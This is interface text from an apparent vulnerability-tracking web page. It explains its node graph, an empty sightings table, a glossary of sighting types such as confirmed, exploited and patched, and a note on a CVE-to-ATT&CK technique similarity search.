Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.